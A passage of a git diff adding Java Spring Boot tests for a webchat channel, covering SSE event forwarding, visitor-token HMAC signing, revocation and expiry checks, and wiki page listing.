done. + assertThat(events).hasSize(1); + SseEvent err = events.get(0); + assertThat(err.name).isEqualTo("error"); + assertThat(err.data).contains("Invalid API Key"); + + // No conversation was created → no rows anywhere. + assertThat(countAssistantMessages( + WebChatController.deriveConversationId("bogus-key-not-registered", "vBad", null))).isZero(); + } + + @Test + @DisplayName("blank message → SSE error event 'Message is required'") + void blankMessage() throws Exception { + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\" \",\"visitorId\":\"vBlank\"}")); + + assertThat(events).hasSize(1); + SseEvent err = events.get(0); + assertThat(err.name).isEqualTo("error"); + assertThat(err.data).contains("Message is required"); + } + + @Test + @DisplayName("channel with no bound agent → SSE error event 'No agent configured'") + void channelHasNoAgent() throws Exception { + // Insert a second channel with no agent_id, point it at a different key. + long channelNoAgent = 9_148_002L; + jdbc.update("DELETE FROM mate_channel WHERE id = ?", channelNoAgent); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc-no-agent', 'webchat', NULL, ?, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + channelNoAgent, "{\"api_key\":\"testkey1noagent00\"}"); + + List events = sendAndDrain( + streamPost("testkey1noagent00", "{\"message\":\"hi\",\"visitorId\":\"vNoAgent\"}")); + + assertThat(events).hasSize(1); + SseEvent err = events.get(0); + assertThat(err.name).isEqualTo("error"); + assertThat(err.data).contains("No agent configured"); + } + + @Test + @DisplayName("sessionId round-trips through meta and seeds the conversation namespace") + void explicitSessionId() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just(new AgentService.StreamDelta("ack", null))); + + String visitorId = "vE2E-sid"; + String sessionId = "thread-42"; + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"" + visitorId + "\"," + + "\"sessionId\":\"" + sessionId + "\"}")); + + SseEvent meta = events.stream().filter(e -> "meta".equals(e.name)).findFirst().orElseThrow(); + assertThat(meta.data) + .contains("\"sessionId\":\"" + sessionId + "\"") + .contains("\"conversationId\":\"" + + WebChatController.deriveConversationId(API_KEY, visitorId, sessionId) + "\""); + } + + @Test + @DisplayName("invalid visitorId charset → SSE error event with the validator message") + void rejectsInvalidVisitorId() throws Exception { + // Space is not in the visitorId whitelist. + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"has space\"}")); + + assertThat(events).hasSize(1); + SseEvent err = events.get(0); + assertThat(err.name).isEqualTo("error"); + assertThat(err.data).contains("Invalid visitorId"); + } + + // ------------------------------------------------------------------ + // Visitor-facing lifecycle events (phase / tool_start / tool_end / plan) + // ------------------------------------------------------------------ + + @Test + @DisplayName("phase event from agent → forwarded as SSE phase event (typing indicator)") + void forwardsPhaseEvent() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta(null, null, "phase", + Map.of("phase", "planning", "timestamp", 1L), false), + new AgentService.StreamDelta(null, null, "phase", + Map.of("phase", "generating", "timestamp", 2L), false), + new AgentService.StreamDelta("ok", null))); + + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"vPhase\"}")); + + List phases = events.stream().filter(e -> "phase".equals(e.name)).toList(); + assertThat(phases).hasSize(2); + assertThat(phases.get(0).data).contains("\"phase\":\"planning\""); + assertThat(phases.get(1).data).contains("\"phase\":\"generating\""); + // Each carries a timestamp for client-side timeline rendering. + assertThat(phases.get(0).data).contains("\"timestamp\":"); + } + + @Test + @DisplayName("tool_call_started → tool_start SSE event; args are NOT leaked to the visitor") + void forwardsToolStartWithoutArgs() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta(null, null, "tool_call_started", + Map.of("toolCallId", "call_1", + "toolName", "web_search", + "arguments", "secret query with PII", + "timestamp", 1L), false), + new AgentService.StreamDelta("done", null))); + + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"vTool\"}")); + + SseEvent toolStart = events.stream().filter(e -> "tool_start".equals(e.name)).findFirst().orElseThrow(); + assertThat(toolStart.data).contains("\"tool\":\"web_search\""); + // Critical: arguments must NOT be forwarded. + assertThat(toolStart.data).doesNotContain("secret query"); + assertThat(toolStart.data).doesNotContain("PII"); + assertThat(toolStart.data).doesNotContain("arguments"); + } + + @Test + @DisplayName("tool_call_completed → tool_end SSE event; result content is NOT leaked") + void forwardsToolEndWithoutResult() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta(null, null, "tool_call_completed", + Map.of("toolCallId", "call_1", + "toolName", "web_search", + "result", "", + "success", true, + "timestamp", 1L), false), + new AgentService.StreamDelta("ack", null))); + + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"vToolEnd\"}")); + + SseEvent toolEnd = events.stream().filter(e -> "tool_end".equals(e.name)).findFirst().orElseThrow(); + assertThat(toolEnd.data).contains("\"tool\":\"web_search\""); + assertThat(toolEnd.data).contains("\"success\":true"); + // Result content is dropped. + assertThat(toolEnd.data).doesNotContain("huge internal result payload"); + assertThat(toolEnd.data).doesNotContain("\"result\""); + } + + @Test + @DisplayName("plan_created → plan SSE event with the step list") + void forwardsPlanEvent() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta(null, null, "plan_created", + Map.of("planId", 42L, + "steps", List.of("search the web", "summarize"), + "timestamp", 1L), false), + new AgentService.StreamDelta("done", null))); + + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"vPlan\"}")); + + SseEvent plan = events.stream().filter(e -> "plan".equals(e.name)).findFirst().orElseThrow(); + assertThat(plan.data).contains("\"steps\":["); + assertThat(plan.data).contains("search the web"); + assertThat(plan.data).contains("summarize"); + } + + @Test + @DisplayName("internal event types (_routing_decision / perf_summary / iteration_* / ...) are silently dropped") + void dropsInternalEvents() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + // Internal-only — must not produce an SSE event. + new AgentService.StreamDelta(null, null, "_routing_decision", + Map.of("sidecar", "vision"), false), + new AgentService.StreamDelta(null, null, "perf_summary", + Map.of("phase", "generate", "tokensPerSec", 42.0), false), + new AgentService.StreamDelta(null, null, "iteration_start", + Map.of("index", 0, "reason", "tool_call"), false), + new AgentService.StreamDelta(null, null, "finish_reason", + Map.of("reason", "STOP"), false), + new AgentService.StreamDelta("done", null))); + + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"vQuiet\"}")); + + // Only meta, content_delta (for "done"), and the terminal done event — + // none of the internal event types leaked. + List names = events.stream().map(e -> e.name).toList(); + assertThat(names).isNotEmpty(); + assertThat(names).doesNotContain("_routing_decision", "perf_summary", "iteration_start", "finish_reason"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatTokenRevocationTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatTokenRevocationTest.java new file mode 100644 index 00000000..88a531e9 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatTokenRevocationTest.java @@ -0,0 +1,192 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.channel.webchat.WebChatController.WebChatSessionView; +import vip.mate.common.result.R; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of visitor-token revocation + expiration (epic #355 PR 2): + *

      + *
    • {@link WebChatTokenRevocationService#revoke} flips + * {@link WebChatController#verifyVisitorToken} to false on subsequent calls.
    • + *
    • {@link WebChatTokenRevocationService#unrevoke} flips it back.
    • + *
    • Revoke is idempotent (double-revoke = single row).
    • + *
    • Cache amortises the DB hit: a second {@code isRevoked} for the same + * (channelId, visitorId) within the TTL does not re-query.
    • + *
    • Expired tokens are rejected before revocation is even consulted.
    • + *
    • An end-to-end management call ({@code GET /sessions}) honours the + * revocation — a revoked visitor gets 401.
    • + *
    + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_revoke_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatTokenRevocationTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_147_401L; + private static final long AGENT_ID = 9_147_4011L; + + @Autowired private WebChatController controller; + @Autowired private WebChatAdminController adminController; + @Autowired private WebChatTokenRevocationService revocationService; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update("DELETE FROM webchat_revoked_visitor WHERE channel_id = ?", CHANNEL_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-revoke-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + // Invalidate any cached revocation state from earlier tests sharing this Spring context. + revocationService.invalidateCacheForTest(); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("revoked visitor: token verify flips to false, /sessions returns 401") + void revokedVisitorCannotReachManagementEndpoints() { + controller.createSession(API_KEY, req("vRevoke", "s1")); + String token = tokenFor("vRevoke"); + + // Pre-revoke: endpoint works. + R ok = controller.listSessions(API_KEY, token, "vRevoke", false); + assertThat(ok.getCode()).isEqualTo(200); + + revocationService.revoke(CHANNEL_ID, "vRevoke", "abuse"); + + R denied = controller.listSessions(API_KEY, token, "vRevoke", false); + assertThat(denied.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("un-revoke: token verify flips back to true, /sessions works again") + void unrevokeRestoresAccess() { + controller.createSession(API_KEY, req("vUnrev", "s1")); + String token = tokenFor("vUnrev"); + + revocationService.revoke(CHANNEL_ID, "vUnrev", "test"); + assertThat(controller.listSessions(API_KEY, token, "vUnrev", false).getCode()).isEqualTo(401); + + revocationService.unrevoke(CHANNEL_ID, "vUnrev"); + R ok = controller.listSessions(API_KEY, token, "vUnrev", false); + assertThat(ok.getCode()).isEqualTo(200); + } + + @Test + @DisplayName("revoke is idempotent (single row, no errors on double-revoke)") + void revokeIsIdempotent() { + revocationService.revoke(CHANNEL_ID, "vIdem", "first"); + revocationService.revoke(CHANNEL_ID, "vIdem", "second"); + + Integer rows = jdbc.queryForObject( + "SELECT COUNT(*) FROM webchat_revoked_visitor WHERE channel_id = ? AND visitor_id = ? AND deleted = 0", + Integer.class, CHANNEL_ID, "vIdem"); + assertThat(rows).isEqualTo(1); + } + + @Test + @DisplayName("cache: revoking twice + isRevoked yields exactly one persisted row") + void revokePersistsSingleRowAcrossMultipleCalls() { + // The cache makes revoke() + immediate isRevoked() cheap, but the source of + // truth is the DB — assert the table still contains exactly one row even + // after the visitor is queried multiple times post-revoke. + revocationService.revoke(CHANNEL_ID, "vCache", "x"); + revocationService.isRevoked(CHANNEL_ID, "vCache"); + revocationService.isRevoked(CHANNEL_ID, "vCache"); + revocationService.isRevoked(CHANNEL_ID, "vCache"); + + Integer rows = jdbc.queryForObject( + "SELECT COUNT(*) FROM webchat_revoked_visitor WHERE channel_id = ? AND visitor_id = ?", + Integer.class, CHANNEL_ID, "vCache"); + assertThat(rows).isEqualTo(1); + } + + @Test + @DisplayName("expired token is rejected even when visitor is not revoked") + void expiredTokenRejected() { + // Mint a token that already expired a minute ago. + long past = java.time.Instant.now().getEpochSecond() - 60; + String expired = WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, "vExp", past); + + controller.createSession(API_KEY, req("vExp", "s1")); + R r = controller.listSessions(API_KEY, expired, "vExp", false); + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("/stream is unaffected by revocation — a revoked visitor can still start fresh") + void streamUnaffectedByRevocation() { + // We can't actually exercise /stream without a real LLM, but we can verify + // the contract: revoking a visitor leaves verifyVisitorTokenSignature() (which + // /stream never calls anyway) intact. The point of this test is to lock in + // that the revocation check lives in the instance verifyVisitorToken, not in + // the static signature check. + revocationService.revoke(CHANNEL_ID, "vStream", "test"); + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, "vStream"); + // Signature still verifies (proves /stream's "mint a fresh token" path works): + assertThat(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL_ID, "vStream", token)) + .isTrue(); + } + + @Test + @DisplayName("admin endpoint POST /revoked-visitor records the revocation + audit") + void adminEndpointRevokes() { + WebChatAdminController.RevokeVisitorRequest req = new WebChatAdminController.RevokeVisitorRequest(); + req.setChannelId(CHANNEL_ID); + req.setVisitorId("vAdmin"); + req.setReason("admin-test"); + + R r = adminController.revokeVisitor(req, null); + assertThat(r.getCode()).isEqualTo(200); + + Integer rows = jdbc.queryForObject( + "SELECT COUNT(*) FROM webchat_revoked_visitor WHERE channel_id = ? AND visitor_id = ? AND deleted = 0", + Integer.class, CHANNEL_ID, "vAdmin"); + assertThat(rows).isEqualTo(1); + + Integer audit = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_audit_event WHERE action = ? AND resource_id = ?", + Integer.class, "webchat.revoke-visitor", String.valueOf(CHANNEL_ID)); + assertThat(audit).isGreaterThan(0); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatVisitorTokenTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatVisitorTokenTest.java new file mode 100644 index 00000000..1ea13da2 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatVisitorTokenTest.java @@ -0,0 +1,147 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.Test; + +import java.time.Instant; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * PR #297 P1 IDOR 修复回归测试:list/messages/delete 端点的鉴权不能再只靠调用方自报的 visitorId, + * 必须验证服务端用密钥签发的 visitor token。这里覆盖 token 的签发/校验语义。 + *

    注:V148 之后 token 形态变成 {@code .},exp 参与签名; + * 撤销表查询由实例 {@link WebChatController#verifyVisitorToken} 接入,签名 + 过期 + * 部分通过 {@link WebChatController#verifyVisitorTokenSignature} static 暴露给单测。 + */ +class WebChatVisitorTokenTest { + + private static final String SECRET = "test-secret-do-not-use-in-prod"; + private static final Long CHANNEL = 7L; + private static final String VISITOR = "visitor-abc"; + private static final long FAR_FUTURE = Instant.now().getEpochSecond() + 3_600L; + + // ==================== 签发 ==================== + + @Test + void token_isDeterministic_forSameInputs() { + assertEquals( + WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE), + WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE)); + } + + @Test + void token_differsPerVisitor() { + assertNotEquals( + WebChatController.computeVisitorToken(SECRET, CHANNEL, "alice", FAR_FUTURE), + WebChatController.computeVisitorToken(SECRET, CHANNEL, "bob", FAR_FUTURE)); + } + + @Test + void token_isChannelBound_notPortable() { + // 同一 visitorId 在不同渠道下 token 不同 → 持 A 渠道 token 不能操作 B 渠道同名 visitor。 + assertNotEquals( + WebChatController.computeVisitorToken(SECRET, 1L, VISITOR, FAR_FUTURE), + WebChatController.computeVisitorToken(SECRET, 2L, VISITOR, FAR_FUTURE)); + } + + @Test + void token_dependsOnSecret() { + assertNotEquals( + WebChatController.computeVisitorToken("secret-a", CHANNEL, VISITOR, FAR_FUTURE), + WebChatController.computeVisitorToken("secret-b", CHANNEL, VISITOR, FAR_FUTURE)); + } + + @Test + void token_differsWhenExpirationDiffers() { + // Two tokens for the same (channel, visitor) but different exp must differ — + // otherwise a leaked old token could be replayed past its expiry. + assertNotEquals( + WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE), + WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE + 60)); + } + + // ==================== 校验(签名 + 过期) ==================== + + @Test + void verify_acceptsTokenIssuedForSameVisitor() { + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE); + assertTrue(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, VISITOR, token)); + } + + @Test + void verify_rejectsForgedVisitorIdWithoutToken() { + // 攻击者持公开 key,传受害者 visitorId,但拿不到对应 token。 + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, "victim", null)); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, "victim", "")); + } + + @Test + void verify_rejectsTokenMintedForAnotherVisitor() { + // 攻击者拿自己 visitor 的合法 token,去操作受害者 visitor → 必须失败。 + String attackerToken = WebChatController.computeVisitorToken(SECRET, CHANNEL, "attacker", FAR_FUTURE); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, "victim", attackerToken)); + } + + @Test + void verify_rejectsTokenFromAnotherChannel() { + String tokenForChannel1 = WebChatController.computeVisitorToken(SECRET, 1L, VISITOR, FAR_FUTURE); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, 2L, VISITOR, tokenForChannel1)); + } + + @Test + void verify_rejectsTamperedToken() { + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE); + String tampered = token.substring(0, token.length() - 1) + + (token.endsWith("A") ? "B" : "A"); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, VISITOR, tampered)); + } + + @Test + void verify_rejectsNullChannelOrVisitor() { + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, null, VISITOR, token)); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, null, token)); + } + + @Test + void verify_rejectsExpiredToken() { + long past = Instant.now().getEpochSecond() - 60; + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, past); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, VISITOR, token)); + } + + @Test + void verify_rejectsTamperedExpiration() { + // Attacker takes a valid token and bumps the exp — but exp participates in + // the HMAC, so the signature no longer matches. + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL, VISITOR, FAR_FUTURE); + int dot = token.lastIndexOf('.'); + String tampered = token.substring(0, dot + 1) + (FAR_FUTURE + 3_600); + assertFalse(WebChatController.verifyVisitorTokenSignature(SECRET, CHANNEL, VISITOR, tampered)); + } + + // ============ conversationId / username 边界(避免溢出 VARCHAR(64) → /stream 500)============ + + @Test + void deriveConversationId_staysWithin64_forLongInputs() { + String id = WebChatController.deriveConversationId("apikey1234567890", "v".repeat(120), "s".repeat(64)); + assertTrue(id.length() <= 64, "conversationId must fit VARCHAR(64), got " + id.length()); + // a legitimate 64-char sessionId alone already overflows the old scheme + String id2 = WebChatController.deriveConversationId("apikey1234567890", "alice", "s".repeat(64)); + assertTrue(id2.length() <= 64, "conversationId must fit VARCHAR(64), got " + id2.length()); + } + + @Test + void deriveConversationId_unchanged_forShortInputs() { + assertEquals("webchat:apikey12:alice:s1", + WebChatController.deriveConversationId("apikey1234567890", "alice", "s1")); + assertEquals("webchat:apikey12:alice", + WebChatController.deriveConversationId("apikey1234567890", "alice", null)); + } + + @Test + void webchatUsername_staysWithin64_forLongVisitor() { + assertTrue(WebChatController.webchatUsername("v".repeat(120)).length() <= 64); + assertEquals("webchat:alice", WebChatController.webchatUsername("alice")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatWikiPageListTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatWikiPageListTest.java new file mode 100644 index 00000000..b7927e4b --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatWikiPageListTest.java @@ -0,0 +1,251 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatWikiPageView; +import vip.mate.common.result.R; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end coverage for {@code GET /api/v1/channels/webchat/wiki/pages} — + * the visitor-facing wiki page catalogue that downstream integrators use to + * build a {@code [[slug]]} picker UI. Mirrors {@link WebChatSkillListTest}: + * verifies the auth chain (API Key + visitorToken HMAC), the agent workspace + * anti-escalation guard, the bound-KB scope, the {@code synthesis} exclusion, + * and the >100-page cap that forces a keyword filter. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_wiki_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatWikiPageListTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_400_001L; + private static final long AGENT_ID = 9_400_011L; + private static final long OTHER_WORKSPACE_AGENT_ID = 9_400_012L; + private static final long KB_ID = 9_400_101L; + private static final long OTHER_KB_ID = 9_400_102L; + + @Autowired private WebChatController controller; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + // Wipe bindings + pages + KBs + channel + agents in dependency-safe order. + jdbc.update("DELETE FROM mate_agent_wiki_kb WHERE agent_id IN (?, ?, ?)", + AGENT_ID, OTHER_WORKSPACE_AGENT_ID, 9_400_099L); + jdbc.update("DELETE FROM mate_wiki_page WHERE kb_id IN (?, ?)", KB_ID, OTHER_KB_ID); + jdbc.update("DELETE FROM mate_wiki_knowledge_base WHERE id IN (?, ?)", KB_ID, OTHER_KB_ID); + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id IN (?, ?, ?)", + AGENT_ID, OTHER_WORKSPACE_AGENT_ID, 9_400_099L); + + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-wiki-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-wiki-other-ws-agent', 'react', '', 10, TRUE, 999, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + OTHER_WORKSPACE_AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + + // Two KBs in workspace 1 (the channel's workspace). Bind the agent to + // KB_ID only, so OTHER_KB_ID stays out of scope unless the agent's + // binding set is cleared. + jdbc.update("MERGE INTO mate_wiki_knowledge_base (id, name, description, status, " + + "page_count, raw_count, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'Main KB', 'main', 'active', 0, 0, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + KB_ID); + jdbc.update("MERGE INTO mate_wiki_knowledge_base (id, name, description, status, " + + "page_count, raw_count, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'Other KB', 'other', 'active', 0, 0, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + OTHER_KB_ID); + + // Bind AGENT_ID to KB_ID only. Single enabled row → effective scope = {KB_ID}. + jdbc.update("MERGE INTO mate_agent_wiki_kb (id, agent_id, kb_id, enabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, TRUE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + 9_400_201L, AGENT_ID, KB_ID); + + // Three pages in KB_ID: entity / concept / synthesis. The synthesis + // one must be filtered out by the picker; the other two surface sorted + // by slug (beta < zeta by slug asc... actually we use 'alpha' and + // 'beta' to make the sort obvious). + insertPage(9_400_301L, KB_ID, "alpha-page", "Alpha Page", "entity"); + insertPage(9_400_302L, KB_ID, "beta-page", "Beta Page", "concept"); + insertPage(9_400_303L, KB_ID, "hidden-synthesis", "Synthesis (hidden)", "synthesis"); + + // One page in OTHER_KB_ID — must NOT surface (agent bound to KB_ID only). + insertPage(9_400_304L, OTHER_KB_ID, "other-kb-page", "Other KB Page", "entity"); + } + + private void insertPage(long id, long kbId, String slug, String title, String pageType) { + jdbc.update("MERGE INTO mate_wiki_page (id, kb_id, slug, title, content, summary, " + + "page_type, version, last_updated_by, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, ?, '', ?, ?, 1, 'test', " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + id, kbId, slug, title, title + " summary", pageType); + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("happy path: bound-KB pages surface sorted by slug; synthesis filtered out; other-KB excluded") + void listReturnsBoundKbPagesSortedExcludingSynthesis() { + R> r = controller.listWikiPages( + API_KEY, tokenFor("v1"), null, "v1", null); + + assertThat(r.getCode()).isEqualTo(200); + List data = r.getData(); + assertThat(data).hasSize(2); + assertThat(data.get(0).getSlug()).isEqualTo("alpha-page"); + assertThat(data.get(0).getTitle()).isEqualTo("Alpha Page"); + assertThat(data.get(0).getKbId()).isEqualTo(KB_ID); + assertThat(data.get(0).getKbName()).isEqualTo("Main KB"); + assertThat(data.get(0).getPageType()).isEqualTo("entity"); + assertThat(data.get(1).getSlug()).isEqualTo("beta-page"); + // synthesis must NOT surface + assertThat(data).noneMatch(p -> "synthesis".equals(p.getPageType())); + // other-KB page must NOT surface (out of scope) + assertThat(data).noneMatch(p -> "other-kb-page".equals(p.getSlug())); + } + + @Test + @DisplayName("keyword filters by slug OR title (case-insensitive LIKE)") + void keywordFilterMatchesSlugOrTitle() { + R> bySlug = controller.listWikiPages( + API_KEY, tokenFor("v2"), null, "v2", "alpha"); + assertThat(bySlug.getCode()).isEqualTo(200); + assertThat(bySlug.getData()).hasSize(1); + assertThat(bySlug.getData().get(0).getSlug()).isEqualTo("alpha-page"); + + R> byTitle = controller.listWikiPages( + API_KEY, tokenFor("v3"), null, "v3", "Beta Page"); + assertThat(byTitle.getCode()).isEqualTo(200); + assertThat(byTitle.getData()).hasSize(1); + assertThat(byTitle.getData().get(0).getSlug()).isEqualTo("beta-page"); + + R> noMatch = controller.listWikiPages( + API_KEY, tokenFor("v4"), null, "v4", "nomatch"); + assertThat(noMatch.getCode()).isEqualTo(200); + assertThat(noMatch.getData()).isEmpty(); + } + + @Test + @DisplayName("explicit agentId matching channel workspace works") + void explicitAgentIdSameWorkspace() { + R> r = controller.listWikiPages( + API_KEY, tokenFor("v5"), AGENT_ID, "v5", null); + + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData()).hasSize(2); + } + + @Test + 